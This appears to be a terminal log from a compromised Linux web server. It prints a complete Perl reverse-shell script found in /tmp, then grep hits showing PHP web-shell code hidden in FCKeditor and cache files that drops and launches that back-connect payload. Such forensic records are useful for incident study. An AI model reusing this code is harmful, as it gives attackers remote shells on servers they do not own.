[root@localhost mysql]#       more /tmp/spider_bc    

#!/usr/bin/perl

use Socket;

$cmd= "lynx";

$system= 'echo "`uname -a`";echo"`id`";/bin/sh';

$0=$cmd;

$target=$ARGV[0];

$port=$ARGV[1];

$iaddr=inet_aton($target) || die("Error: $!\n");

$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");

$proto=getprotobyname('tcp');

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");

connect(SOCKET, $paddr) || die("Error: $!\n");

open(STDIN, ">&SOCKET");

open(STDOUT, ">&SOCKET");

open(STDERR, ">&SOCKET");

system($system);

close(STDIN);

close(STDOUT);

close(STDERR);

[root@localhost www]#       grep spider_bc * -r    

/plusbak/viev.      php:                              echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';

/plusbak/viev.      php:                              echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/plusbak/viev.      php:                              echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';

/plusbak/viev.      php:                              @unlink('/tmp/spider_bc.c');    

/plusbak/viev.      php:                              echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.      php:                           echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.      php:                           echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.      php:                           echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.      php:                           @unlink('/tmp/spider_bc.c');    

/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.      php:                           echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/developers/cache/default/index_sql.      php :                            echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';

/developers/developers/cache/default/index_sql.      php :                            echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

/developers/developers/cache/default/index_sql.      php :                            echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';

/developers/developers/cache/default/index_sql.      php :                            @unlink('/tmp/spider_bc.c');    

/developers/developers/cache/default/index_sql.      php :                            echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';